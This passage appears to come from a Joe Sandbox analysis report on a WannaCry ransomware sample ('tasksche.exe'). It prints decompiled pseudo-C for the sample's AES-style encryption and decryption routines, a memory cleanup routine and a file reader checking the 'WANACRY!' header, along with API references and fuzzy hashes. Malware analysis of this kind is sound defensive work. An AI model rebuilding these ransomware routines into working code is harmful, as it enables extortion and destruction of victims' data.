													_t303 = _t303 - 1;
												} while (_t303 != 0);
												_t217 =  *(_t352 + 0x420);
												_a4 = _t217;
												_t220 = _t352 + 0x428;
												 *(_t352 + 0x424) =  *(_t352 + 0x424) ^ (( *0x004089FC << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *0x004089FC & 0x000000ff) << 0x00000008 ^  *((_t217 & 0x000000ff) + 0x4089fc) & 0x000000ff;
												_t313 = 3;
												do {
													 *_t220 =  *_t220 ^  *(_t220 - 4);
													_t220 =  &(_t220[1]);
													_t313 = _t313 - 1;
												} while (_t313 != 0);
												L46:
												_a4 = _a4 & 0x00000000;
												if(_t329 <= 0) {
													goto L50;
												}
												_t314 = _t352 + 0x414;
												while(_a8 < _t345) {
													asm("cdq");
													_t347 = _a8 / _a12;
													asm("cdq");
													_t337 = _a8 % _a12;
													 *((intOrPtr*)(_t352 + 8 + (_t337 + _t347 * 8) * 4)) =  *_t314;
													_a4 = _a4 + 1;
													_t345 = _v12;
													_t338 =  *_t314;
													_t314 = _t314 + 4;
													_a8 = _a8 + 1;
													 *((intOrPtr*)(_t352 + 0x1e8 + (_t337 + ( *((intOrPtr*)(_t352 + 0x410)) - _t347) * 8) * 4)) = _t338;
													_t329 = _v8;
													if(_a4 < _t329) {
														continue;
													}
													goto L50;
												}
												goto L51;
											}
											if(_t329 <= 1) {
												goto L46;
											}
											_t229 = _t352 + 0x418;
											_t315 = _t329 - 1;
											do {
												 *_t229 =  *_t229 ^  *(_t229 - 4);
												_t229 =  &(_t229[1]);
												_t315 = _t315 - 1;
											} while (_t315 != 0);
											goto L46;
											L50:
										} while (_a8 < _t345);
										goto L51;
									}
									_t316 = _t352 + 0x414;
									while(_a8 < _t345) {
										asm("cdq");
										_a4 = _a8 / _a12;
										asm("cdq");
										_t340 = _a8 % _a12;
										 *((intOrPtr*)(_t352 + 8 + (_t340 + _a4 * 8) * 4)) =  *_t316;
										_a8 = _a8 + 1;
										_t341 =  *_t316;
										_t316 = _t316 + 4;
										 *((intOrPtr*)(_t352 + 0x1e8 + (_t340 + ( *((intOrPtr*)(_t352 + 0x410)) - _a4) * 8) * 4)) = _t341;
										_t329 = _v8;
										if(_a8 < _t329) {
											continue;
										}
										goto L35;
									}
									goto L51;
								}
								_a8 = _t329;
								do {
									_t317 =  &(_t291[1]);
									 *_t205 = ( *_t291 & 0x000000ff) << 0x18;
									 *_t205 =  *_t205 | ( *_t317 & 0x000000ff) << 0x00000010;
									_t319 =  &(_t317[2]);
									 *_t205 =  *_t205 |  *_t319 & 0x000000ff;
									_t291 =  &(_t319[1]);
									_t205 =  &(_t205[1]);
									_t60 =  &_a8;
									 *_t60 = _a8 - 1;
								} while ( *_t60 != 0);
								goto L31;
							}
							_t280 = _t352 + 0x1e8;
							do {
								_t320 = _a12;
								if(_t320 > 0) {
									memset(_t280, 0, _t320 << 2);
									_t354 = _t354 + 0xc;
								}
								_t327 = _t327 + 1;
								_t280 = _t280 + 0x20;
							} while (_t327 <=  *((intOrPtr*)(_t352 + 0x410)));
							goto L28;
						}
						_t281 = _t352 + 8;
						do {
							_t322 = _a12;
							if(_t322 > 0) {
								memset(_t281, 0, _t322 << 2);
								_t354 = _t354 + 0xc;
							}
							_t326 = _t326 + 1;
							_t281 = _t281 + 0x20;
						} while (_t326 <=  *((intOrPtr*)(_t352 + 0x410)));
						goto L23;
					}
					 *((intOrPtr*)(_t352 + 0x410)) = 0xe;
					goto L18;
				}
			}

0x00402a83
0x00402a85
0x00402a8e
0x00402a95
0x00402a9e
0x00402aa3
0x00402aa4
0x00402aa4
0x00402aa9
0x00402aae
0x00402ab1
0x00402ab4
0x00402ac2
0x00402ac6
0x00402acd
0x00402ad6
0x00402adb
0x00402adc
0x00402adc
0x00402ae1
0x00402ae6
0x00402af4
0x00402af8
0x00402aff
0x00402b05
0x00402b08
0x00402b0d
0x00402b0e
0x00402b0e
0x00402b14
0x00402b23
0x00402b2a
0x00402b3f
0x00402b44
0x00402b4a
0x00402b4f
0x00402b75
0x00402b7d
0x00402b92
0x00402b7f
0x00402b81
0x00402b81
0x00000000
0x00402b51
0x00402b53
0x00402b70
0x00402b94
0x00402b94
0x00402b9a
0x00402ba2
0x00402ba3
0x00402ba6
0x00402bae
0x00402bb1
0x00402bcf
0x00402bcf
0x00402bd7
0x00402bf8
0x00402c00
0x00402c01
0x00402c0b
0x00402c0e
0x00402c12
0x00402c15
0x00402c17
0x00402c1f
0x00402c22
0x00402c4e
0x00402c4e
0x00402c54
0x00402ca5
0x00402ca8
0x00402e04
0x00402e06
0x00402e0d
0x00402e10
0x00402e73
0x00402e73
0x00402e7b
0x00402e7b
0x00402e18
0x00402e1b
0x00402e1b
0x00402e20
0x00000000
0x00000000
0x00402e22
0x00402e25
0x00402e25
0x00402e29
0x00402e59
0x00402e5b
0x00402e5e
0x00402e5e
0x00402e61
0x00402e61
0x00402e64
0x00402e68
0x00402e6b
0x00000000
0x00402e1b
0x00402cae
0x00402cb5
0x00402cb5
0x00402cbf
0x00402d05
0x00402d0b
0x00402d11
0x00402d34
0x00402d3a
0x00402d3b
0x00402d3e
0x00402d40
0x00402d43
0x00402d43
0x00402d46
0x00402d4e
0x00402d8f
0x00402d95
0x00402d9b
0x00402d9c
0x00402d9f
0x00402da1
0x00402da4
0x00402da4
0x00402da7
0x00402da7
0x00402dad
0x00000000
0x00000000
0x00402daf
0x00402db5
0x00402dbf
0x00402dc3
0x00402dc8
0x00402dc9
0x00402dcf
0x00402ddb
0x00402dde
0x00402de4
0x00402de6
0x00402de9
0x00402dec
0x00402df3
0x00402df9
0x00000000
0x00000000
0x00000000
0x00402df9
0x00000000
0x00402db5
0x00402d16
0x00000000
0x00000000
0x00402d1c
0x00402d22
0x00402d25
0x00402d28
0x00402d2a
0x00402d2d
0x00402d2d
0x00000000
0x00402dfb
0x00402dfb
0x00000000
0x00402cb5
0x00402c56
0x00402c5c
0x00402c6a
0x00402c6e
0x00402c74
0x00402c75
0x00402c7e
0x00402c8b
0x00402c91
0x00402c93
0x00402c96
0x00402c9d
0x00402ca3
0x00000000
0x00000000
0x00000000
0x00402ca3
0x00000000
0x00402c5c
0x00402c24
0x00402c27
0x00402c2d
0x00402c2e
0x00402c36
0x00402c3f
0x00402c43
0x00402c45
0x00402c46
0x00402c49
0x00402c49
0x00402c49
0x00000000
0x00402c27
0x00402bd9
0x00402bdf
0x00402bdf
0x00402be4
0x00402bea
0x00402bea
0x00402bea
0x00402bec
0x00402bed
0x00402bf0
0x00000000
0x00402bdf
0x00402bb3
0x00402bb6
0x00402bb6
0x00402bbb
0x00402bc1
0x00402bc1
0x00402bc1
0x00402bc3
0x00402bc4
0x00402bc7
0x00000000
0x00402bb6
0x00402b55
0x00000000
0x00402b55

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402A95
_CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402AA4
??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402ACD
_CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402ADC
??0exception@@QAE@ABQBD@Z.MSVCRT(?,?,?,00000000,00000010,?), ref: 00402AFF
_CxxThrowException.MSVCRT(00000010,0040D570,?,00000000,00000010,?), ref: 00402B0E
memcpy.MSVCRT(?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B2A
memcpy.MSVCRT(?,?,?,?,?,00000010,?,?,00000000,00000010,?,?), ref: 00402B3F

Strings

, xrefs: 00402E64

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: ??0exception@@ExceptionThrow$memcpy
String ID:
API String ID: 1881450474-3916222277
Opcode ID: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
Instruction ID: fcfef073648f46ce18afaeffe4143d5033c2e410e09e17396796de68d512254b
Opcode Fuzzy Hash: 13455132f19fce7ccee5142b200569a1d3dc411a47d032a17fbb22a214c81369
Instruction Fuzzy Hash: 8DD1C3706006099FDB28CF29C5846EA77F5FF48314F14C43EE95AEB281D778AA85CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004014A6 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 178filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040150D
GetFileSizeEx.KERNEL32(00000000,?), ref: 00401529
memcmp.MSVCRT(?,WANACRY!,00000008), ref: 00401572
GlobalAlloc.KERNEL32(00000000,?,?,?,00000010,?,?,?,?), ref: 0040166D
_local_unwind2.MSVCRT(?,000000FF), ref: 004016D6

Strings

WANACRY!, xrefs: 00401566

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: File$AllocCreateGlobalSize_local_unwind2memcmp
String ID: WANACRY!
API String ID: 283026544-1240840912
Opcode ID: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
Instruction ID: 23909f9b909e50c20e483d6bc4be6e23e355ec3bf8b0a6de4718622c8bde6caa
Opcode Fuzzy Hash: 3616707767261f84fde6c13708b35c3d4dbb974938da28d5f777545cb9cffa02
Instruction Fuzzy Hash: 6E512C71900209ABDB219F95CD84FEEB7BCEB08790F1444BAF515F21A0D739AA45CB28

Uniqueness

Uniqueness Score: -1.00%

Function 0040350F Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 214
COMMONCrypto

Download Yara Rule

C-Code - Quality: 55%

			E0040350F(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E00402E7E(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc24));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc2c));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc34));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x28;
					do {
						if(_t274 > 0) {
							_t34 =  &_v28; // 0x403b51
							_t260 =  *_t34;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x4093fc + _v44 * 4) ^  *(0x4097fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00408FFC ^  *0x00408BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_t100 =  &_v28; // 0x403b51
					_v44 =  *_t100 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x004089FC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x004089FC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x004089FC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x4089fc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}

0x00403517
0x0040351e
0x00403528
0x00403531
0x00403536
0x00403537
0x00403537
0x0040353c
0x00403545
0x00000000
0x0040354f
0x0040355b
0x0040355c
0x0040355d
0x0040355f
0x0040356e
0x00403572
0x0040357d
0x0040358c
0x0040358f
0x00403592
0x00403598
0x0040359d
0x004035a0
0x004035a3
0x004035a6
0x004035ac
0x004035ad
0x004035b5
0x004035be
0x004035bf
0x004035c4
0x004035c9
0x004035cd
0x004035d0
0x004035d3
0x004035d5
0x004035d5
0x004035d5
0x004035a6
0x004035dc
0x004035e3
0x004035e6
0x004035ef
0x004035f2
0x004035f4
0x004035fd
0x004035fd
0x00403600
0x00403608
0x0040360b
0x00403613
0x00403619
0x0040361c
0x0040361f
0x00403627
0x0040363a
0x0040363d
0x00403660
0x00403682
0x00403688
0x0040368a
0x0040368d
0x00403690
0x00403690
0x00403690
0x0040361f
0x004036a9
0x004036ae
0x004036b2
0x004036b5
0x004036b8
0x004036bb
0x004035f2
0x004036c7
0x004036cd
0x004036d3
0x004036d6
0x004036df
0x004036e2
0x004036e7
0x004036ef
0x004036f2
0x00403701
0x00403709
0x0040371f
0x00403726
0x00403727
0x00403741
0x00403745
0x0040374a
0x00403760
0x00403767
0x00403768
0x0040377d
0x00403780
0x00403782
0x00403783
0x00403786
0x00403787
0x004036f2
0x00403794

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403528
_CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,?,?,00403B51,?,?,?), ref: 00403537
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B51,?,?), ref: 004036A9

Strings

Q;@, xrefs: 004036E2, 004035FD
, xrefs: 004036AE

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: ??0exception@@ExceptionThrowmemcpy
String ID: $Q;@
API String ID: 2382887404-262343263
Opcode ID: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
Instruction ID: bc36c6e363c45e845c5013d3ee32ff29fee655b638a1b5d52e43d816bbd12583
Opcode Fuzzy Hash: 68433a68c8f87a96c4578501cf6b50a347b0c2ca376bc2ea45e1a632b2ad4c4a
Instruction Fuzzy Hash: A581C3759002499FCB05CF68C9809EEBBF5EF89308F2484AEE595E7352C234BA45CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00403797 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214
COMMONCrypto

Download Yara Rule

C-Code - Quality: 54%

			E00403797(void* __ecx, signed int _a4, signed char* _a8) {
				signed int _v8;
				signed int _v12;
				signed char _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				char _v56;
				signed int _t150;
				signed int _t151;
				signed int _t155;
				signed int* _t157;
				signed char _t158;
				intOrPtr _t219;
				signed int _t230;
				signed char* _t236;
				signed char* _t237;
				signed char* _t238;
				signed char* _t239;
				signed int* _t240;
				signed char* _t242;
				signed char* _t243;
				signed char* _t245;
				signed int _t260;
				signed int* _t273;
				signed int _t274;
				void* _t275;
				void* _t276;

				_t275 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v56);
					L0040776E();
				}
				_t150 =  *(_t275 + 0x3cc);
				if(_t150 == 0x10) {
					return E004031BC(_t275, _a4, _a8);
				}
				asm("cdq");
				_t230 = 4;
				_t151 = _t150 / _t230;
				_t274 = _t151;
				asm("sbb eax, eax");
				_t155 = ( ~(_t151 - _t230) & (0 | _t274 != 0x00000006) + 0x00000001) << 5;
				_v28 =  *((intOrPtr*)(_t155 + 0x40bc28));
				_v24 =  *((intOrPtr*)(_t155 + 0x40bc30));
				_v32 =  *((intOrPtr*)(_t155 + 0x40bc38));
				_t157 = _t275 + 0x454;
				if(_t274 > 0) {
					_v16 = _t274;
					_v8 = _t275 + 0x1e8;
					_t242 = _a4;
					do {
						_t243 =  &(_t242[1]);
						 *_t157 = ( *_t242 & 0x000000ff) << 0x18;
						 *_t157 =  *_t157 | ( *_t243 & 0x000000ff) << 0x00000010;
						_t245 =  &(_t243[2]);
						_t273 = _t157;
						 *_t157 =  *_t157 |  *_t245 & 0x000000ff;
						_v8 = _v8 + 4;
						_t242 =  &(_t245[1]);
						_t157 =  &(_t157[1]);
						 *_t273 =  *_t273 ^  *_v8;
						_t27 =  &_v16;
						 *_t27 = _v16 - 1;
					} while ( *_t27 != 0);
				}
				_t158 = 1;
				_v16 = _t158;
				if( *(_t275 + 0x410) > _t158) {
					_v12 = _t275 + 0x208;
					do {
						if(_t274 > 0) {
							_t260 = _v28;
							_v8 = _v12;
							_a4 = _t260;
							_v36 = _v24 - _t260;
							_t240 = _t275 + 0x434;
							_v40 = _v32 - _t260;
							_v20 = _t274;
							do {
								asm("cdq");
								_v44 = 0;
								asm("cdq");
								asm("cdq");
								_v8 = _v8 + 4;
								 *_t240 =  *(0x40a3fc + _v44 * 4) ^  *(0x40a7fc + ( *(_t275 + 0x454 + (_v40 + _a4) % _t274 * 4) & 0x000000ff) * 4) ^  *0x00409FFC ^  *0x00409BFC ^  *_v8;
								_t240 =  &(_t240[1]);
								_a4 = _a4 + 1;
								_t84 =  &_v20;
								 *_t84 = _v20 - 1;
							} while ( *_t84 != 0);
						}
						memcpy(_t275 + 0x454, _t275 + 0x434, _t274 << 2);
						_v12 = _v12 + 0x20;
						_t276 = _t276 + 0xc;
						_v16 = _v16 + 1;
						_t158 = _v16;
					} while (_t158 <  *(_t275 + 0x410));
				}
				_v8 = _v8 & 0x00000000;
				if(_t274 > 0) {
					_t236 = _a8;
					_t219 = _v24;
					_a8 = _t275 + 0x454;
					_v44 = _v28 - _t219;
					_v40 = _v32 - _t219;
					do {
						_a8 =  &(_a8[4]);
						_a4 =  *((intOrPtr*)(_t275 + 0x1e8 + (_v8 +  *(_t275 + 0x410) * 8) * 4));
						 *_t236 =  *0x00408AFC ^ _a4 >> 0x00000018;
						_t237 =  &(_t236[1]);
						asm("cdq");
						 *_t237 =  *0x00408AFC ^ _a4 >> 0x00000010;
						asm("cdq");
						_t238 =  &(_t237[1]);
						 *_t238 =  *0x00408AFC ^ _a4 >> 0x00000008;
						_t239 =  &(_t238[1]);
						asm("cdq");
						_t158 =  *(( *(_t275 + 0x454 + (_v40 + _t219) % _t274 * 4) & 0x000000ff) + 0x408afc) ^ _a4;
						 *_t239 = _t158;
						_t236 =  &(_t239[1]);
						_v8 = _v8 + 1;
						_t219 = _t219 + 1;
					} while (_v8 < _t274);
				}
				return _t158;
			}

0x0040379f
0x004037a6
0x004037b0
0x004037b9
0x004037be
0x004037bf
0x004037bf
0x004037c4
0x004037cd
0x00000000
0x004037d7
0x004037e3
0x004037e4
0x004037e5
0x004037e7
0x004037f6
0x004037fa
0x00403805
0x00403814
0x00403817
0x0040381a
0x00403820
0x00403828
0x0040382b
0x0040382e
0x00403831
0x00403837
0x00403838
0x00403840
0x00403849
0x0040384a
0x0040384f
0x00403854
0x00403858
0x0040385b
0x0040385e
0x00403860
0x00403860
0x00403860
0x00403831
0x00403867
0x0040386e
0x00403871
0x0040387d
0x00403880
0x00403882
0x0040388b
0x0040388e
0x00403896
0x00403899
0x004038a1
0x004038a7
0x004038aa
0x004038ad
0x004038b5
0x004038c8
0x004038cb
0x004038ee
0x00403910
0x00403916
0x00403918
0x0040391b
0x0040391e
0x0040391e
0x0040391e
0x004038ad
0x00403937
0x0040393c
0x00403940
0x00403943
0x00403946
0x00403949
0x00403880
0x00403955
0x0040395b
0x00403961
0x00403964
0x0040396d
0x00403975
0x0040397d
0x00403980
0x0040398f
0x0040399a
0x004039b0
0x004039b7
0x004039b8
0x004039d2
0x004039d6
0x004039db
0x004039f1
0x004039f8
0x004039f9
0x00403a0e
0x00403a11
0x00403a13
0x00403a14
0x00403a17
0x00403a18
0x00403980
0x00403a25

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037B0
_CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,?,?,?,00403B9C,?,?,?), ref: 004037BF
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00403B9C,?,?), ref: 00403937

Strings

, xrefs: 0040393C

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: ??0exception@@ExceptionThrowmemcpy
String ID:
API String ID: 2382887404-3916222277
Opcode ID: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
Instruction ID: 1cfba4d829132d5223a2741c68a06c6b284a50eb41fad236877f379c856cacdf
Opcode Fuzzy Hash: f4b5f5b39d3fd1fccf69c885608927ed404fa65085bd71c262b9c8f9e9248758
Instruction Fuzzy Hash: B991C375A002499FCB05CF69C480AEEBBF5FF89315F2480AEE595E7342C234AA45CF58

Uniqueness

Uniqueness Score: -1.00%

Function 004029CC Relevance: 3.8, APIs: 3, Instructions: 55
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004029CC(void* _a4) {
				void* _t17;
				intOrPtr _t18;
				intOrPtr _t23;
				intOrPtr _t25;
				signed int _t35;
				void* _t37;

				_t37 = _a4;
				if(_t37 != 0) {
					if( *((intOrPtr*)(_t37 + 0x10)) != 0) {
						_t25 =  *((intOrPtr*)(_t37 + 4));
						 *((intOrPtr*)( *((intOrPtr*)( *_t37 + 0x28)) + _t25))(_t25, 0, 0);
					}
					if( *(_t37 + 8) == 0) {
						L9:
						_t18 =  *((intOrPtr*)(_t37 + 4));
						if(_t18 != 0) {
							 *((intOrPtr*)(_t37 + 0x20))(_t18, 0, 0x8000,  *((intOrPtr*)(_t37 + 0x30)));
						}
						return HeapFree(GetProcessHeap(), 0, _t37);
					} else {
						_t35 = 0;
						if( *((intOrPtr*)(_t37 + 0xc)) <= 0) {
							L8:
							free( *(_t37 + 8));
							goto L9;
						} else {
							goto L5;
						}
						do {
							L5:
							_t23 =  *((intOrPtr*)( *(_t37 + 8) + _t35 * 4));
							if(_t23 != 0) {
								 *((intOrPtr*)(_t37 + 0x2c))(_t23,  *((intOrPtr*)(_t37 + 0x30)));
							}
							_t35 = _t35 + 1;
						} while (_t35 <  *((intOrPtr*)(_t37 + 0xc)));
						goto L8;
					}
				}
				return _t17;
			}

0x004029ce
0x004029d6
0x004029db
0x004029df
0x004029ea
0x004029ea
0x004029ef
0x00402a1d
0x00402a1d
0x00402a22
0x00402a2e
0x00402a31
0x00000000
0x004029f1
0x004029f2
0x004029f7
0x00402a12
0x00402a15
0x00000000
0x00000000
0x00000000
0x00000000
0x004029f9
0x004029f9
0x004029fc
0x00402a01
0x00402a07
0x00402a0b
0x00402a0c
0x00402a0d
0x00000000
0x004029f9
0x004029ef
0x00402a45

APIs

free.MSVCRT(?,00402198,00000000,00000000,0040243C,00000000), ref: 00402A15
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,0040243C,00000000), ref: 00402A36
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 00402A3D

Memory Dump Source

Source File: 00000008.00000002.401765655.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.401756050.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401785591.0000000000408000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401800307.000000000040E000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000008.00000002.401811867.0000000000410000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Yara matches

Similarity

API ID: Heap$FreeProcessfree
String ID:
API String ID: 3428986607-0
Opcode ID: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
Instruction ID: 6307eaad725422957632c7c85bafc458d1caddc7471a2505469f2591130cc2ff
Opcode Fuzzy Hash: 67af2f346d87749f9cdb855264ac8d2816ecbe8db690f3f12af5f99a0e11ec4c
Instruction Fuzzy Hash: C4010C72600A019FCB309FA5DE88967B7E9FF48321354483EF196A2591CB75F841CF58

Uniqueness

Uniqueness Score: -1.00%

Function 00402E7E Relevance: 3.3, APIs: 2, Instructions: 272
COMMONCrypto

Download Yara Rule

C-Code - Quality: 34%

			E00402E7E(intOrPtr __ecx, signed int* _a4, signed char* _a8) {
				signed int _v8;
				void* _v9;
				void* _v10;
				void* _v11;
				signed int _v12;
				void* _v13;
				void* _v14;
				void* _v15;
				signed int _v16;
				void* _v17;
				void* _v18;
				void* _v19;
				signed int _v20;
				void* _v21;
				void* _v22;
				signed int _v24;
				signed int _v28;
				intOrPtr _v32;
				char _v44;
				signed char* _t151;
				signed char* _t154;
				signed char* _t155;
				signed char* _t158;
				signed char* _t159;
				signed char* _t160;
				signed char* _t162;
				signed int _t166;
				signed int _t167;
				signed char* _t172;
				signed int* _t245;
				signed int _t262;
				signed int _t263;
				signed int _t278;
				signed int _t279;
				signed int _t289;
				signed int _t303;
				intOrPtr _t344;
				void* _t345;
				signed int _t346;

				_t344 = __ecx;
				_v32 = __ecx;
				if( *((char*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v44);
					L0040776E();
				}
				_t151 = _a4;
				_t154 =  &(_t151[3]);
